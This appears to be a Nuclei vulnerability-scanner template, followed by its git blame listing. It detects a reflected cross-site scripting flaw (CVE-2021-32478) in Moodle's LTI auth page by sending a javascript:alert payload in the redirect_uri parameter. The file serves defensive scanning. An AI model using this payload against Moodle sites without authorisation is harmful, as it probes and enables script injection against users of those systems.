nuclei-templates/vulnerabilities/moodle/moodle-xss.yaml

id: moodle-xss

info:
  name: Moodle - Cross-Site Scripting
  author: hackergautam
  severity: medium
  description: Moodle 3.10 to 3.10.3, 3.9 to 3.9.6, 3.8 to 3.8.8, and earlier unsupported versions contain a cross-site scripting vulnerability via the redirect_uri parameter.
  reference:
    - https://twitter.com/JacksonHHax/status/1391367064154042377
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32478
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  tags: moodle,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/mod/lti/auth.php?redirect_uri=javascript:alert('{{randstr}}')"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{randstr}}'
          - '<form action="javascript:alert'
        condition: and

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"

# Enhanced by md on 2022/09/19
Adding moodle-xss 2021-04-12 18:25:06 +00:00			`id: moodle-xss`

			`info:`
Dashboard Content Enhancements (#5436) Dashboard Content Enhancements 2022-09-21 21:42:27 +00:00			`name: Moodle - Cross-Site Scripting`
Adding moodle-xss 2021-04-12 18:25:06 +00:00			`author: hackergautam`
			`severity: medium`
Dashboard Content Enhancements (#5436) Dashboard Content Enhancements 2022-09-21 21:42:27 +00:00			`description: Moodle 3.10 to 3.10.3, 3.9 to 3.9.6, 3.8 to 3.8.8, and earlier unsupported versions contain a cross-site scripting vulnerability via the redirect_uri parameter.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://twitter.com/JacksonHHax/status/1391367064154042377`
Dashboard Content Enhancements (#5436) Dashboard Content Enhancements 2022-09-21 21:42:27 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-32478`
			`classification:`
Match severity with CVSS 2023-03-03 15:27:54 +00:00			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`
			`cvss-score: 5.4`
			`cwe-id: CWE-80`
Adding moodle-xss 2021-04-12 18:25:06 +00:00			`tags: moodle,xss`

			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/mod/lti/auth.php?redirect_uri=javascript:alert('{{randstr}}')"`

			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`part: body`
			`words:`
Update moodle-xss.yaml 2021-04-13 20:45:17 +00:00			`- '{{randstr}}'`
			`- '<form action="javascript:alert'`
			`condition: and`
Adding moodle-xss 2021-04-12 18:25:06 +00:00
			`- type: status`
			`status:`
			`- 200`

			`- type: word`
			`part: header`
			`words:`
Update reference Currently, the provided reference doesn't exist anymore. However, this tweet posted on May 9th should work as a reference. 2021-07-06 06:27:15 +00:00			`- "text/html"`
Dashboard Content Enhancements (#5436) Dashboard Content Enhancements 2022-09-21 21:42:27 +00:00
			`# Enhanced by md on 2022/09/19`